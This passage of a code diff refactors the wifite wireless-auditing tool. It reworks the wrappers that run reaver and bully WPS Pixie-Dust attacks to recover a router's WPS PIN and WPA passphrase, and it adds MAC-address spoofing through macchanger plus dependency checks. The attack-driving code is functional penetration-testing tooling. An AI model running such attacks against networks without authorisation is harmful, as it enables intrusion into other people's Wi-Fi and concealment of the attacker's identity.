-            elif result == "NoAssoc":
-                self.consecutive_noassoc += 1
-                result = "{O}%s{W}" % result
-            else:
-                result = "{R}%s{W}" % result
-            pin = rx_m.group(3)
-            self.state = "Trying PIN:{C}%s{W} (%s)" % (pin, result)
 
-        # [!] WPS lockout reported, sleeping for 43 seconds ...
+            if self.crack_result:
-        lock_out = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
+                break
-        if lock_out:
-            sleeping = lock_out.group(1)
-            self.state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
-            self.consecutive_lockouts += 1
-
-        # [Pixie-Dust] WPS pin not found
-        pixie_re = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
-        if pixie_re:
-            self.state = "{R}Failed{W}"
 
 
-        # [+] Running pixiewps with the information, wait ...
+    def parse_crack_result(self, line):
-        pixie_re = re.search(r".*Running pixiewps with the information", line)
+        # Check for line containing PIN and PSK
-        if pixie_re:
-            self.state = "{G}Running pixiewps...{W}"
-
         # [*] Pin is '80246213', key is 'password'
-        # [*] Pin is '11867722', key is '9a6f7997'
         pin_key_re = re.search(r"Pin is '(\d*)', key is '(.*)'", line)
         if pin_key_re:
             self.cracked_pin = pin_key_re.group(1)
             self.cracked_key = pin_key_re.group(2)
 
+        ###############
+        # Check for PIN
+        if self.cracked_pin is None:
             #        PIN   : '80246213'
             pin_re = re.search(r"^\s*PIN\s*:\s*'(.*)'\s*$", line)
             if pin_re:
                 self.cracked_pin = pin_re.group(1)
 
+            # [Pixie-Dust] PIN FOUND: 01030365
+            pin_re = re.search(r"^\[Pixie-Dust\] PIN FOUND: '?(\d*)'?\s*$", line)
+            if pin_re:
+                self.cracked_pin = pin_re.group(1)
+
+            if self.cracked_pin is not None:
+                # Mention the PIN & that we're not done yet.
+                self.pattack("{G}Cracked PIN: {C}%s{W}" % self.cracked_pin, newline=True)
+
+                self.state = "{G}Finding PSK...{C}"
+                time.sleep(2)
+
+        ###########################
         #        KEY   : 'password'
         key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
         if key_re:
             self.cracked_key = key_re.group(1)
 
-        #warn_re = re.search(r"\[\!\]\s*(.*)$", line)
-        #if warn_re: self.state = "{O}%s{W}" % warn_re.group(1)
-
         if not self.crack_result and self.cracked_pin and self.cracked_key:
-            Color.clear_entire_line()
+            self.pattack("{G}Cracked PSK: {C}%s{W}" % self.cracked_key, newline=True)
-            Color.pattack("WPS", self.target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
-            Color.pl("")
             self.crack_result = CrackResultWPS(
                     self.target.bssid,
                     self.target.essid,
@@ -209,19 +209,81 @@ class Bully(Attack):
                     self.cracked_key)
             Color.pl("")
             self.crack_result.dump()
-            return True
+
+        return self.crack_result
+
+
+    def parse_state(self, line):
+        state = self.state
+
+        # [+] Got beacon for 'Green House 5G' (30:85:a9:39:d2:1c)
+        got_beacon = re.search(r".*Got beacon for '(.*)' \((.*)\)", line)
+        if got_beacon:
+            # group(1)=ESSID, group(2)=BSSID
+            state = "Got beacon"
+
+        # [+] Last State = 'NoAssoc'   Next pin '48855501'
+        last_state = re.search(r".*Last State = '(.*)'\s*Next pin '(.*)'", line)
+        if last_state:
+            # group(1)=result, group(2)=PIN
+            pin = last_state.group(2)
+            state = "Trying PIN {C}%s{W} (%s)" % (pin, last_state.group(1))
+
+        # [+] Tx( Auth ) = 'Timeout'   Next pin '80241263'
+        mx_result_pin = re.search(r".*[RT]x\(\s*(.*)\s*\) = '(.*)'\s*Next pin '(.*)'", line)
+        if mx_result_pin:
+            self.locked = False
+            # group(1)=M3/M5, group(2)=result, group(3)=PIN
+            m_state = mx_result_pin.group(1)
+            result = mx_result_pin.group(2) # NoAssoc, WPSFail, Pin1Bad, Pin2Bad
+            pin = mx_result_pin.group(3)
+
+            if result == "Timeout":
+                self.total_timeouts += 1
+                result = "{O}%s{W}" % result
+            elif result == "WPSFail":
+                self.total_failures += 1
+                result = "{O}%s{W}" % result
+            elif result == "NoAssoc":
+                result = "{O}%s{W}" % result
             else:
-            return False
+                result = "{R}%s{W}" % result
+
+            result = "{P}%s{W}:%s" % (m_state.strip(), result.strip())
+            state = "Trying PIN {C}%s{W} (%s)" % (pin, result)
+
+        # [!] WPS lockout reported, sleeping for 43 seconds ...
+        re_lockout = re.search(r".*WPS lockout reported, sleeping for (\d+) seconds", line)
+        if re_lockout:
+            self.locked = True
+            sleeping = re_lockout.group(1)
+            state = "{R}WPS Lock-out: {O}Waiting %s seconds{W}" % sleeping
+
+        # [Pixie-Dust] WPS pin not found
+        re_pin_not_found = re.search(r".*\[Pixie-Dust\] WPS pin not found", line)
+        if re_pin_not_found:
+            state = "{R}Failed: {O}Bully says 'WPS pin not found'{W}"
+
+        # [+] Running pixiewps with the information, wait ...
+        re_running_pixiewps = re.search(r".*Running pixiewps with the information", line)
+        if re_running_pixiewps:
+            state = "{G}Running pixiewps...{W}"
+
+        return state
+
 
     def stop(self):
         if hasattr(self, "pid") and self.pid and self.pid.poll() is None:
             self.pid.interrupt()
 
+
     def __del__(self):
         self.stop()
 
+
     @staticmethod
     def get_psk_from_pin(target, pin):
+        # Fetches PSK from a Target assuming "pin" is the correct PIN
         '''
         bully --channel 1 --bssid 34:21:09:01:92:7C --pin 01030365 --bruteforce wlan0mon
         PIN   : '01030365'
@@ -229,8 +291,6 @@ class Bully(Attack):
         BSSID : '34:21:09:01:92:7c'
         ESSID : 'AirLink89300'
         '''
-        Color.pl('\n{+} found PIN: {G}%s{W}' % pin)
-        Color.p('{+} fetching {C}PSK{W} using {C}bully{W}... ')
         cmd = [
             'bully',
             '--channel', target.channel,
@@ -247,12 +307,11 @@ class Bully(Attack):
             key_re = re.search(r"^\s*KEY\s*:\s*'(.*)'\s*$", line)
             if key_re is not None:
                 psk = key_re.group(1)
-                Color.pl('{W}found PSK: {G}%s{W}' % psk)
                 return psk
 
-        Color.pl('{R}failed{W}')
         return None
 
+
 if __name__ == '__main__':
     Configuration.initialize()
     Configuration.interface = 'wlan0mon'

wifite/tools/dependency.py

@@ -0,0 +1,33 @@
+#!/usr/bin/python2.7
+# -*- coding: utf-8 -*-
+
+class Dependency(object):
+    required_attr_names = ['dependency_name', 'dependency_url', 'dependency_required']
+
+    # https://stackoverflow.com/a/49024227
+    def __init_subclass__(cls):
+        for attr_name in cls.required_attr_names:
+            if not attr_name in cls.__dict__:
+                raise NotImplementedError(
+                    "Attribute '{}' has not been overriden in class '{}'" \
+                    .format(attr_name, cls.__name__)
+                )
+
+
+    @classmethod
+    def fails_dependency_check(cls):
+        from ..util.color import Color
+        from ..util.process import Process
+
+        if Process.exists(cls.dependency_name):
+            return False
+
+        if cls.dependency_required:
+            Color.pl('{!} {R}error: required app {O}%s{R} was not found' % cls.dependency_name)
+            Color.pl('     {W}install @ {C}%s{W}' % cls.dependency_url)
+            return True
+
+        else:
+            Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % cls.dependency_name)
+            Color.pl('     {W}install @ {C}%s{W}' % cls.dependency_url)
+            return False

wifite/tools/ifconfig.py

@@ -0,0 +1,61 @@
+#!/usr/bin/python2.7
+# -*- coding: utf-8 -*-
+
+import re
+
+from .dependency import Dependency
+
+class Ifconfig(Dependency):
+    dependency_required = True
+    dependency_name = 'ifconfig'
+    dependency_url = 'apt-get install net-tools'
+
+    @classmethod
+    def up(cls, interface, args=[]):
+        '''Put interface up'''
+        from ..util.process import Process
+
+        command = ['ifconfig', interface]
+        if type(args) is list:
+            command.extend(args)
+        elif type(args) is 'str':
+            command.append(args)
+        command.append('up')
+
+        pid = Process(command)
+        pid.wait()
+        if pid.poll() != 0:
+            raise Exception('Error putting interface %s up:\n%s\n%s' % (interface, pid.stdout(), pid.stderr()))
+
+
+    @classmethod
+    def down(cls, interface):
+        '''Put interface down'''
+        from ..util.process import Process
+
+        pid = Process(['ifconfig', interface, 'down'])
+        pid.wait()
+        if pid.poll() != 0:
+            raise Exception('Error putting interface %s down:\n%s\n%s' % (interface, pid.stdout(), pid.stderr()))
+
+
+    @classmethod
+    def get_mac(cls, interface):
+        from ..util.process import Process
+
+        output = Process(['ifconfig', interface]).stdout()
+
+        # Mac address separated by dashes
+        mac_dash_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
+        match = re.search(' ({})'.format(mac_dash_regex), output)
+        if match:
+            return match.group(1).replace('-', ':')
+
+        # Mac address separated by colons
+        mac_colon_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
+        match = re.search(' ({})'.format(mac_colon_regex), output)
+        if match:
+            return match.group(1)
+
+        raise Exception('Could not find the mac address for %s' % interface)
+

wifite/tools/iwconfig.py

@@ -0,0 +1,48 @@
+#!/usr/bin/python2.7
+# -*- coding: utf-8 -*-
+
+from .dependency import Dependency
+
+class Iwconfig(Dependency):
+    dependency_required = True
+    dependency_name = 'iwconfig'
+    dependency_url = 'apt-get install wireless-tools'
+
+    @classmethod
+    def exists(cls):
+        from ..util.process import Process
+        return Process.exists('iwconfig')
+
+
+    @classmethod
+    def mode(cls, iface, mode_name):
+        from ..util.process import Process
+
+        pid = Process(['iwconfig', iface, 'mode', mode_name])
+        pid.wait()
+
+        return pid.poll()
+
+
+    @classmethod
+    def get_interfaces(cls, mode=None):
+        from ..util.process import Process
+
+        interfaces = set()
+
+        (out, err) = Process.call('iwconfig')
+        for line in out.split('\n'):
+            if len(line) == 0: continue
+
+            if not line.startswith(' '):
+                iface = line.split(' ')[0]
+                if '\t' in iface:
+                    iface = iface.split('\t')[0]
+                if mode is None:
+                    interfaces.add(iface)
+
+            if mode is not None and 'Mode:{}'.format(mode) in line:
+                interfaces.add(iface)
+
+        return list(interfaces)
+

wifite/tools/macchanger.py

@@ -1,82 +1,89 @@
 #!/usr/bin/python2.7
 # -*- coding: utf-8 -*-
 
-from ..model.interface import Interface
+from .dependency import Dependency
+from ..tools.ifconfig import Ifconfig
 from ..util.color import Color
 
-class Macchanger(object):
+class Macchanger(Dependency):
-    is_init = False
+    dependency_required = False
+    dependency_name = 'macchanger'
+    dependency_url = 'apt-get install macchanger'
+
     is_changed = False
-    original_mac = None
 
     @classmethod
-    def init(cls):
+    def down_macch_up(cls, iface, options):
-        if cls.is_init: return
+        '''Put interface down, run macchanger with options, put interface up'''
-        from ..config import Configuration
-        iface = Configuration.interface
-        if type(iface) == Interface:
-            iface = iface.name
-        cls.original_mac = Interface.get_mac(iface)
-
-    @classmethod
-    def down_macch_up(cls, macch_option):
-        cls.init()
         from ..util.process import Process
-        from ..config import Configuration
-        iface = Configuration.interface
 
-        cmd = ["ifconfig", iface, "down"]
         Color.clear_entire_line()
-        Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface)
+        Color.p('\r{+} {C}macchanger{W}: taking interface {C}%s{W} down...' % iface)
-        ifdown = Process(cmd)
+
-        ifdown.wait()
+        Ifconfig.down(iface)
-        if ifdown.poll() != 0:
-            Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
-            Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr()))
-            return False
 
-        cmd = ["macchanger", macch_option, iface]
         Color.clear_entire_line()
-        Color.p("\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..." % iface)
+        Color.p('\r{+} {C}macchanger{W}: changing mac address of interface {C}%s{W}...' % iface)
-        macch = Process(cmd)
+
+        command = ['macchanger']
+        command.extend(options)
+        command.append(iface)
+        macch = Process(command)
         macch.wait()
         if macch.poll() != 0:
-            Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
+            Color.pl('\n{!} {R}macchanger{O}: error running {R}%s{O}' % ' '.join(command))
-            Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr()))
+            Color.pl('{!} {R}output: {O}%s, %s{W}' % (macch.stdout(), macch.stderr()))
             return False
 
-        cmd = ["ifconfig", iface, "up"]
         Color.clear_entire_line()
-        Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface)
+        Color.p('\r{+} {C}macchanger{W}: bringing interface {C}%s{W} up...' % iface)
-        ifup = Process(cmd)
+
-        ifup.wait()
+        Ifconfig.up(iface)
-        if ifup.poll() != 0:
+
-            Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
-            Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr()))
-            return False
         return True
 
+
+    @classmethod
+    def get_interface(cls):
+        # Helper method to get interface from configuration
+        from ..config import Configuration
+        return Configuration.interface
+
+
     @classmethod
     def reset(cls):
-        # --permanent to reset to permanent MAC address
+        iface = cls.get_interface()
-        if not cls.down_macch_up("-p"): return
+        Color.pl('\r{+} {C}macchanger{W}: resetting mac address on %s...' % iface)
-        Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...")
+        # -p to reset to permanent MAC address
-        from ..config import Configuration
+        if cls.down_macch_up(iface, ['-p']):
-        new_mac = Interface.get_mac(Configuration.interface)
+            new_mac = Ifconfig.get_mac(iface)
+
             Color.clear_entire_line()
-        Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac)
+            Color.pl('\r{+} {C}macchanger{W}: reset mac address back to {C}%s{W} on {C}%s{W}' % (new_mac, iface))
+
 
     @classmethod
     def random(cls):
-        # Use --permanent to use random MAC address
+        from ..util.process import Process
-        if not cls.down_macch_up("-r"): return
+        if not Process.exists('macchanger'):
+            Color.pl('{!} {R}macchanger: {O}not installed')
+            return
+
+        iface = cls.get_interface()
+        Color.pl('\n{+} {C}macchanger{W}: changing mac address on {C}%s{W}' % iface)
+
+        # -r to use random MAC address
+        # -e to keep vendor bytes the same
+        if cls.down_macch_up(iface, ['-e']):
             cls.is_changed = True
-        from ..config import Configuration
+            new_mac = Ifconfig.get_mac(iface)
-        new_mac = Interface.get_mac(Configuration.interface)
+
             Color.clear_entire_line()
-        Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac)
+            Color.pl('\r{+} {C}macchanger{W}: changed mac address to {C}%s{W} on {C}%s{W}' % (new_mac, iface))
+
 
     @classmethod
     def reset_if_changed(cls):
-        if not cls.is_changed: return
+        if cls.is_changed:
             cls.reset()
+

wifite/tools/pyrit.py

@@ -1,11 +1,15 @@
 #!/usr/bin/python2.7
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
 from ..util.process import Process
 import re
 
-class Pyrit(object):
+class Pyrit(Dependency):
     ''' Wrapper for Pyrit program. '''
+    dependency_required = False
+    dependency_name = 'pyrit'
+    dependency_url = 'https://github.com/JPaulMora/Pyrit/wiki'
 
     def __init__(self):
         pass

wifite/tools/reaver.py

@@ -1,171 +1,247 @@
 #!/usr/bin/python2.7
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
+from .airodump import Airodump
+from .bully import Bully # for PSK retrieval
 from ..model.attack import Attack
 from ..config import Configuration
 from ..util.color import Color
 from ..util.process import Process
-from ..tools.airodump import Airodump
+from ..util.timer import Timer
-from ..tools.bully import Bully # for PSK retrieval
 from ..model.wps_result import CrackResultWPS
 
 import os, time, re
 
-class Reaver(Attack):
+class Reaver(Attack, Dependency):
+    dependency_required = False
+    dependency_name = 'reaver'
+    dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'
+
     def __init__(self, target):
         super(Reaver, self).__init__(target)
-        self.success = False
+
+        self.start_time = None
+        self.state = 'Initializing'
+        self.locked = False
+        self.total_timeouts = 0
+        self.total_wpsfails = 0
+
         self.crack_result = None
 
+        self.output_filename = Configuration.temp('reaver.out')
+        if os.path.exists(self.output_filename):
+            os.remove(self.output_filename)
+
+        self.output_write = open(self.output_filename, 'a')
+
+        self.reaver_cmd = [
+            'reaver',
+            '--interface',  Configuration.interface,
+            '--bssid',      self.target.bssid,
+            '--channel',    self.target.channel,
+            '--pixie-dust', '1',         # pixie-dust attack
+            '--session',    '/dev/null', # Don't restart session
+            '-vv'                        # (very) verbose
+        ]
+
+        self.reaver_proc = None
+
     def is_pixiedust_supported(self):
         ''' Checks if 'reaver' supports WPS Pixie-Dust attack '''
         output = Process(['reaver', '-h']).stderr()
         return '--pixie-dust' in output
 
-    def run_pixiedust_attack(self):
+    def run(self):
-        # Write reaver stdout to file.
+        ''' Returns True if attack is successful. '''
-        self.stdout_file = Configuration.temp('reaver.out')
+        try:
-        if os.path.exists(self.stdout_file):
+            self._run() # Run-loop
-            os.remove(self.stdout_file)
+        except Exception as e:
+            # Failed with error
+            self.pattack('{R}Failed:{O} %s' % str(e), newline=True)
+            return self.crack_result is not None
 
-        command = [
+        # Stop reaver if it's still running
-            'reaver',
+        if self.reaver_proc.poll() is None:
-            '--interface', Configuration.interface,
+            self.reaver_proc.interrupt()
-            '--bssid', self.target.bssid,
-            '--channel', self.target.channel,
-            '--pixie-dust', '1', # pixie-dust attack
-            '--timeout', '4', # Stop waiting after 4 seconds
-            #'--delay', '0',
-            #'--no-nacks',
-            '--session', '/dev/null', # Don't restart session
-            '-vv' # (very) verbose
-        ]
-        stdout_write = open(self.stdout_file, 'a')
-        reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
 
-        pin = None
+        # Clean up open file handle
-        step = 'initializing'
+        if self.output_write:
-        time_since_last_step = 0
+            self.output_write.close()
+
+        return self.crack_result is not None
+
+
+    def _run(self):
+        self.start_time = time.time()
 
         with Airodump(channel=self.target.channel,
                       target_bssid=self.target.bssid,
                       skip_wps=True,
                       output_file_prefix='pixie') as airodump:
 
-            Color.clear_line()
+            # Wait for target
-            Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
+            self.pattack("Waiting for target to appear...")
+            self.target = self.wait_for_target(airodump)
 
-            while True:
+            # Start reaver
-                try:
+            self.reaver_proc = Process(self.reaver_cmd,
-                    airodump_target = self.wait_for_target(airodump)
+                    stdout=self.output_write,
-                except Exception as e:
+                    stderr=Process.devnull())
-                    Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
-                    Color.pl("")
-                    return False
 
-                stdout_write.flush()
+            # Loop while reaver is running
+            while self.crack_result is None and self.reaver_proc.poll() is None:
 
-                # Check output from reaver process
+                # Refresh target information (power)
-                stdout = self.get_stdout()
+                self.target = self.wait_for_target(airodump)
-                stdout_last_line = stdout.split('\n')[-1]
+
+                # Update based on reaver output
+                stdout = self.get_output()
+                self.state = self.parse_state(stdout)
+                self.parse_failure(stdout)
+
+                # Print status line
+                self.pattack(self.get_status())
+
+                # Check if we cracked it
+                self.crack_result = self.parse_crack_result(stdout)
+
+                time.sleep(0.5)
+
+            # Check if crack result is in output
+            stdout = self.get_output()
+            self.crack_result = self.parse_crack_result(stdout)
+
+            # Show any failures found
+            if self.crack_result is None:
+                self.parse_failure(stdout)
+
+            if self.crack_result is None and self.reaver_proc.poll() is not None:
+                raise Exception('Reaver process stopped (exit code: %s)' % self.reaver_proc.poll())
+
+
+    def get_status(self):
+        main_status = self.state
+
+        meta_statuses = []
+        if self.total_timeouts > 0:
+            meta_statuses.append("{O}Timeouts:%d{W}" % self.total_timeouts)
+
+        if self.total_wpsfails > 0:
+            meta_statuses.append("{O}WPSFail:%d{W}" % self.total_wpsfails)
+
+        if self.locked:
+            meta_statuses.append("{R}Locked{W}")
+
+        if len(meta_statuses) > 0:
+            main_status += ' (%s)' % ', '.join(meta_statuses)
+
+        return main_status
+
+
+    def parse_crack_result(self, stdout):
+        if self.crack_result is not None:
+            return self.crack_result
 
         (pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
 
         # Check if we cracked it, or if process stopped.
-                if pin is not None or reaver.poll() is not None:
-                    reaver.interrupt()
-
-                    # Check one-last-time for PIN/PSK/SSID, in case of race condition.
-                    stdout = self.get_stdout()
-                    (pin, psk, ssid) = Reaver.get_pin_psk_ssid(stdout)
-
-                    # Check if we cracked it.
         if pin is not None:
             # We cracked it.
 
-                        if psk is None:
+            if psk is not None:
+                # Reaver provided PSK
+                self.pattack('{G}Cracked WPS PIN: {C}%s{W} {G}PSK: {C}%s{W}' % (pin, psk), newline=True)
+            else:
+                self.pattack('{G}Cracked WPS PIN: {C}%s' % pin, newline=True)
+
                 # Try to derive PSK from PIN using Bully
+                self.pattack('{W}Retrieving PSK using {C}bully{W}...')
                 psk = Bully.get_psk_from_pin(self.target, pin)
-
-                        bssid = self.target.bssid
-                        Color.clear_entire_line()
                 if psk is None:
-                            Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN{W} (but not PSK)")
-                        else:
-                            Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}")
                     Color.pl("")
-                        self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
+                    self.pattack('{R}Failed {O}to get PSK using bully', newline=True)
-                        self.crack_result.dump()
-                        return True
                 else:
-                        # Failed to crack, reaver proces ended.
+                    self.pattack('{G}Cracked WPS PSK: {C}%s' % psk, newline=True)
-                        Color.clear_line()
-                        Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
-                        return False
 
+            crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
+            crack_result.dump()
+            return crack_result
+
+        return None
+
+
+    def parse_failure(self, stdout):
+        # Total failure
         if 'WPS pin not found' in stdout:
-                    Color.pl('{R}failed: {O}WPS pin not found{W}')
+            raise Exception('Reaver says "WPS pin not found"')
-                    break
+
+        # Running-time failure
+        if self.running_time() > Configuration.wps_pixie_timeout:
+            raise Exception('Timeout after %d seconds' % Configuration.wps_pixie_timeout)
+
+        # WPSFail count
+        self.total_wpsfails = stdout.count('WPS transaction failed')
+        if self.total_wpsfails >= Configuration.wps_fail_threshold:
+            raise Exception('Too many failures (%d)' % self.total_wpsfails)
+
+        # Timeout count
+        self.total_timeouts = stdout.count('Receive timeout occurred')
+        if self.total_timeouts >= Configuration.wps_timeout_threshold:
+            raise Exception('Too many timeouts (%d)' % self.total_timeouts)
+
+
+    def parse_state(self, stdout):
+        state = self.state
+
+        stdout_last_line = stdout.split('\n')[-1]
 
-                last_step = step
-                # Status updates, depending on last line of stdout
         if 'Waiting for beacon from' in stdout_last_line:
-                    step = '({C}step 1/8{W}) waiting for beacon'
+            state = 'Waiting for beacon'
+
         elif 'Associated with' in stdout_last_line:
-                    step = '({C}step 2/8{W}) waiting to start session'
+            state = 'Associated'
+
         elif 'Starting Cracking Session.' in stdout_last_line:
-                    step = '({C}step 3/8{W}) waiting to try pin'
+            state = 'Waiting to try PIN'
+
         elif 'Trying pin' in stdout_last_line:
-                    step = '({C}step 4/8{W}) trying pin'
+            state = 'Trying PIN'
+
         elif 'Sending EAPOL START request' in stdout_last_line:
-                    step = '({C}step 5/8{W}) sending eapol start request'
+            state = 'Sending EAPOL Start request'
+
         elif 'Sending identity response' in stdout_last_line:
-                    step = '({C}step 6/8{W}) sending identity response'
+            state = 'Sending identity response'
+            self.locked = False
+
         elif 'Sending M2 message' in stdout_last_line:
-                    step = '({C}step 7/8{W}) sending m2 message (may take a while)'
+            state = 'Sending M2 / Running pixiewps'
+            self.locked = False
+
         elif 'Detected AP rate limiting,' in stdout_last_line:
-                    if Configuration.wps_skip_rate_limit:
+            state = 'Rate-Limited by AP'
-                        Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
+            self.locked = True
-                        Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
-                                 ' this kind of failure in the future{W}')
-                        break
-                    step = '({C}step -/8{W}) waiting for AP rate limit'
 
-                if step != last_step:
+        return state
-                    # Step changed, reset step timer
-                    time_since_last_step = 0
-                else:
-                    time_since_last_step += 1
 
-                if time_since_last_step > Configuration.wps_pixie_step_timeout:
-                    Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
-                    break
 
-                # TODO: Timeout check
+    def pattack(self, message, newline=False):
-                if reaver.running_time() > Configuration.wps_pixie_timeout:
+        # Print message with attack information.
-                    Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
+        time_left = Configuration.wps_pixie_timeout - self.running_time()
-                    break
 
-                # Reaver Failure/Timeout check
+        Color.clear_entire_line()
-                fail_count = stdout.count('WPS transaction failed')
+        Color.pattack("WPS",
-                if fail_count > Configuration.wps_fail_threshold:
+                self.target,
-                    Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
+                'Pixie-Dust',
-                    break
+                '{W}[{C}%s{W}] %s' % (Timer.secs_to_str(time_left), message))
-                timeout_count = stdout.count('Receive timeout occurred')
+        if newline:
-                if timeout_count > Configuration.wps_timeout_threshold:
+            Color.pl("")
-                    Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
-                    break
 
-                Color.clear_line()
-                Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
 
-                time.sleep(1)
+    def running_time(self):
-                continue
+        return int(time.time() - self.start_time)
 
-        # Attack failed, already printed reason why
-        reaver.interrupt()
-        stdout_write.close()
-        return False
 
     @staticmethod
     def get_pin_psk_ssid(stdout):
@@ -199,12 +275,21 @@ class Reaver(Attack):
 
         return (pin, psk, ssid)
 
-    def get_stdout(self):
+
-        ''' Gets output from stdout_file '''
+    def get_output(self):
-        if not self.stdout_file:
+        ''' Gets output from reaver's output file '''
+        if not self.output_filename:
             return ''
-        with open(self.stdout_file, 'r') as fid:
+
+        if self.output_write:
+            self.output_write.flush()
+
+        with open(self.output_filename, 'r') as fid:
             stdout = fid.read()
+
+        if Configuration.verbose > 1:
+            Color.pe('\n{P} [reaver:stdout] %s' % '\n [reaver:stdout] '.join(stdout.split('\n')))
+
         return stdout.strip()
 
 

wifite/tools/tshark.py

@@ -1,11 +1,15 @@
 #!/usr/bin/python2.7
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
 from ..util.process import Process
 import re
 
-class Tshark(object):
+class Tshark(Dependency):
     ''' Wrapper for Tshark program. '''
+    dependency_required = False
+    dependency_name = 'tshark'
+    dependency_url = 'apt-get install wireshark'
 
     def __init__(self):
         pass

wifite/tools/wash.py

@@ -1,11 +1,15 @@
 #!/usr/bin/python2.7
 # -*- coding: utf-8 -*-
 
+from .dependency import Dependency
 from ..util.process import Process
 import json
 
-class Wash(object):
+class Wash(Dependency):
     ''' Wrapper for Wash program. '''
+    dependency_required = False
+    dependency_name = 'wash'
+    dependency_url = 'https://github.com/t6x/reaver-wps-fork-t6x'
 
     def __init__(self):
         pass

wifite/util/color.py

@@ -45,17 +45,13 @@ class Color(object):
 
     @staticmethod
     def pl(text):
-        '''
+        '''Prints text using colored format with trailing new line.'''
-            Prints text using colored format with trailing new line.
-        '''
         Color.p('%s\n' % text)
         Color.last_sameline_length = 0
 
     @staticmethod
     def pe(text):
-        '''
+        '''Prints text using colored format with leading and trailing new line to STDERR.'''
-            Prints text using colored format with leading and trailing new line to STDERR.
-        '''
         sys.stderr.write(Color.s('%s\n' % text))
         Color.last_sameline_length = 0
 
@@ -85,14 +81,14 @@ class Color(object):
     @staticmethod
     def pattack(attack_type, target, attack_name, progress):
         '''
-            Prints a one-liner for an attack
+        Prints a one-liner for an attack.
-            Includes attack type (WEP/WPA), target BSSID/ESSID & power, attack type, and progress
+        Includes attack type (WEP/WPA), target ESSID & power, attack type, and progress.
-            [name] ESSID (MAC @ Pwr) Attack_Type: Progress
+        ESSID (Pwr) Attack_Type: Progress
-            e.g.: [WEP] Router2G (00:11:22 @ 23db) replay attack: 102 IVs
+        e.g.: Router2G (23db) WEP replay attack: 102 IVs
         '''
         essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}"
-        Color.p("\r{+} {G}%s{W} ({C}%s @ %sdb{W}) {G}%s {C}%s{W}: %s " % (
+        Color.p("\r{+} {G}%s{W} ({C}%sdb{W}) {G}%s {C}%s{W}: %s " % (
-            essid, target.bssid, target.power, attack_type, attack_name, progress))
+            essid, target.power, attack_type, attack_name, progress))
 
 if __name__ == '__main__':
     Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done")

wifite/util/process.py

@@ -2,6 +2,9 @@
 # -*- coding: utf-8 -*-
 
 import time
+import signal
+import os
+
 from subprocess import Popen, PIPE
 
 from ..util.color import Color
@@ -139,27 +142,31 @@ class Process(object):
         ''' Returns number of seconds since process was started '''
         return int(time.time() - self.start_time)
 
-    def interrupt(self):
+    def interrupt(self, wait_time=2.0):
         '''
             Send interrupt to current process.
-            If process fails to exit within 1 second, terminates it.
+            If process fails to exit within `wait_time` seconds, terminates it.
         '''
-        from signal import SIGINT, SIGTERM
-        from os import kill
-        from time import sleep
         try:
             pid = self.pid.pid
-            kill(pid, SIGINT)
+            cmd = self.command
+            if type(cmd) is list:
+                cmd = ' '.join(cmd)
 
-            wait_time = 0  # Time since Interrupt was sent
+            if Configuration.verbose > 1:
+                Color.pe('\n {C}[?] {W} sending interrupt to PID %d (%s)' % (pid, cmd))
+
+            os.kill(pid, signal.SIGINT)
+
+            start_time = time.time()  # Time since Interrupt was sent
             while self.pid.poll() is None:
                 # Process is still running
-                wait_time += 0.1
+                time.sleep(0.1)
-                sleep(0.1)
+                if time.time() - start_time > wait_time:
-                if wait_time > 1:
+                    # We waited too long for process to die, terminate it.
-                    # We waited over 1 second for process to die
+                    if Configuration.verbose > 1:
-                    # Terminate it and move on
+                        Color.pe('\n {C}[?] {W} Waited > %0.2f seconds for process to die, killing it' % wait_time)
-                    kill(pid, SIGTERM)
+                    os.kill(pid, signal.SIGTERM)
                     self.pid.terminate()
                     break
 

wifite/util/scanner.py

@@ -39,15 +39,16 @@ class Scanner(object):
